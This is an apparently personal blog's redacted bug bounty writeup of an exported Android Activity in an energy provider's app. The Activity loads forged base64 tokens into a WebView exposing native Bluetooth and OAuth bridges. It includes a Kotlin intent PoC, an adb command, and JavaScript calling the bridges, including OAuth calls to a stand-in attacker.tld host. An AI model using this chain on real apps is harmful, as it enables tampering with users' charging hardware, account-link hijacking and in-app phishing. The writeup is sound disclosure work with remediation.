y4ss3r
cyber-sec engineer
← cd ../writeups
Bug Bounty/Android · Mobile/Hard/Oct 2026/8 min

Hijacking a trusted app's WebView via an exported Android Activity

TL;DR — An energy app shipped a device-linking SDK whose Activity was exported with no permission, parsed an unsigned base64 token, and loaded attacker URLs into a JS-enabled WebView wired to native Bluetooth + OAuth bridges. A redacted writeup of an accepted finding.

MobileAndroidBug BountyWebView
[ machine card / cover ]

An accepted mobile finding from a private program (a European energy provider's blackbox bug bounty). The app, package, SDK and class names are redacted; the pattern is a classic Android pitfall worth knowing by heart.

TL;DR

The app shipped a third-party "device-linking" SDK that registered an exported Activity with no permission protection — so any app on the device could launch it. That Activity:

  • read a URL from an intent extra parsed as unsigned base64 JSON (no signature, no integrity check),
  • loaded it into a WebView with no host/origin allowlist, and
  • that WebView had setJavaScriptEnabled(true) plus two native JavaScript bridges.

So a zero-permission app could make the trusted app render attacker-controlled web content inside its own WebView, with that JavaScript inheriting native Bluetooth (GATT) and OAuth bridges.

Class: Improper Access Control (CWE-284). Status: accepted.

The chain, from the decompiled code

Walking the app in jadx, the pieces lined up:

  • The Activity read getStringExtra("LinkToken") (and a dev-only URL_OVERRIDE).
  • LinkToken was Base64.decode + JSON deserialize — no signature / HMAC — so the linkUrl inside it is attacker-controlled.
  • The "sanitizer" returned the URL unchanged — no host allowlist.
  • initWebView() did setJavaScriptEnabled(true), then addJavascriptInterface(...) for an AndroidBluetooth bridge (a full Web-Bluetooth-to-native GATT surface: requestDevice, gattConnect, readCharacteristic, writeCharacteristic, …) and an AndroidOAuth bridge (oauth(authorizeUrl, interceptUrl, returnUrl, headers)), then loadUrl(urlToLoad).

This isn't a "vulnerable library version" issue — it's the app exporting a component with a demonstrated, weaponisable attack path.

PoC

A malicious, zero-permission app forges the token (a self-contained data: page needs no server, and also sidesteps the cleartext-traffic block) and launches the exported Activity:

// decodes to {"linkUrl":"data:text/html;base64,<attacker html>"}
val token = "eyJsaW5rVXJsIjogImRhdGE6..."   // base64(JSON) — no signature needed
val i = Intent()
    .setClassName("com.<redacted>", "io.<redacted>.link.LinkKit")
    .putExtra("LinkToken", token)
    .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
startActivity(i)

Reproduced from a shell too:

adb shell am start -n com.<redacted>/io.<redacted>.link.LinkKit \
  --es LinkToken 'eyJsaW5rVXJsIjogImRhdGE6...'

Inside the trusted app's WebView, the attacker's JS reaches native:

typeof AndroidBluetooth; // "object"
typeof AndroidOAuth;     // "object"
AndroidBluetooth.gattConnect("poc", JSON.stringify({address:"AA:BB:CC:DD:EE:FF"}));
AndroidBluetooth.writeCharacteristic("poc",
  JSON.stringify({address:"..", serviceUUID:"..", characteristicUUID:"..", hex:"deadbeef"}));
AndroidOAuth.oauth("https://attacker.tld/authorize",
  "https://attacker.tld/intercept", "https://attacker.tld/return", "{}");

logcat confirmed the exported Activity being started by an external UID with the forged extras.

Risk

Any app the user installs — no permissions, nothing suspicious — could silently make the trusted app:

  • talk to the victim's Bluetooth energy hardware — enumerate, connect, read, and write GATT characteristics (an integrity/safety concern for an EV charger or smart-charging device, not just info disclosure), and select a device without showing the in-app picker;
  • drive/observe the OAuth device-linking flow (attacker-chosen authorizeUrl + headers, captured redirect params), to manipulate which third-party account is linked;
  • render arbitrary content inside the genuine app UI — a convincing in-app phishing surface under the real app's identity.

Honest scope-bounding (verified): the app's session/refresh tokens were stored under a non-exportable Android Keystore key and were not reachable from any WebView bridge — so this did not by itself yield token theft or account takeover; the WebView was also fail-closed on TLS errors. Stating what a bug doesn't do is part of a credible report — it's a big reason this one landed cleanly.

Remediation

  • Scope the JS bridges to trusted origins only — attach them when the loaded origin is on the allowlist, removeJavascriptInterface(...) otherwise.
  • Remove the URL_OVERRIDE developer override from release builds.
  • Make the Activity non-exported, or guard it with a signature-level permission, if only the app itself should launch it.
  • Validate scheme/host for every deep-link handler.

Lesson

android:exported="true" + an unauthenticated WebView + addJavascriptInterface is one of the most reliable mobile-finding patterns there is. Whenever you see an exported component, ask three questions: what does it load, who controls that input, and what can the loaded page touch?

YL
Yasser LaroussiCPTS · eJPTv2
Next writeup
... /Related ...
Bug Bounty/Web · SSRF/Medium/6 min

Path traversal to a constrained SSRF: reading an internal Drupal host

A public content-listing endpoint accepted ../ sequences in a path parameter and relayed them to an internal Drupal backend, returning internal JSON the Internet can't reach. A redacted SSRF writeup.

WebBug BountySSRFDrupal
Read moreOct 2026
Bug Bounty/API · Web/Intermediate/7 min

Unauthenticated IDOR in a contract-confirmation flow (PII-hash disclosure)

An endpoint that needed no auth, ignored the user ID, and keyed on a sequential contract ID — leaking an internal GUID and md5(email) for any contract. A redacted writeup of an accepted finding.

Bug BountyIDORAPIAccess Control
Read moreOct 2026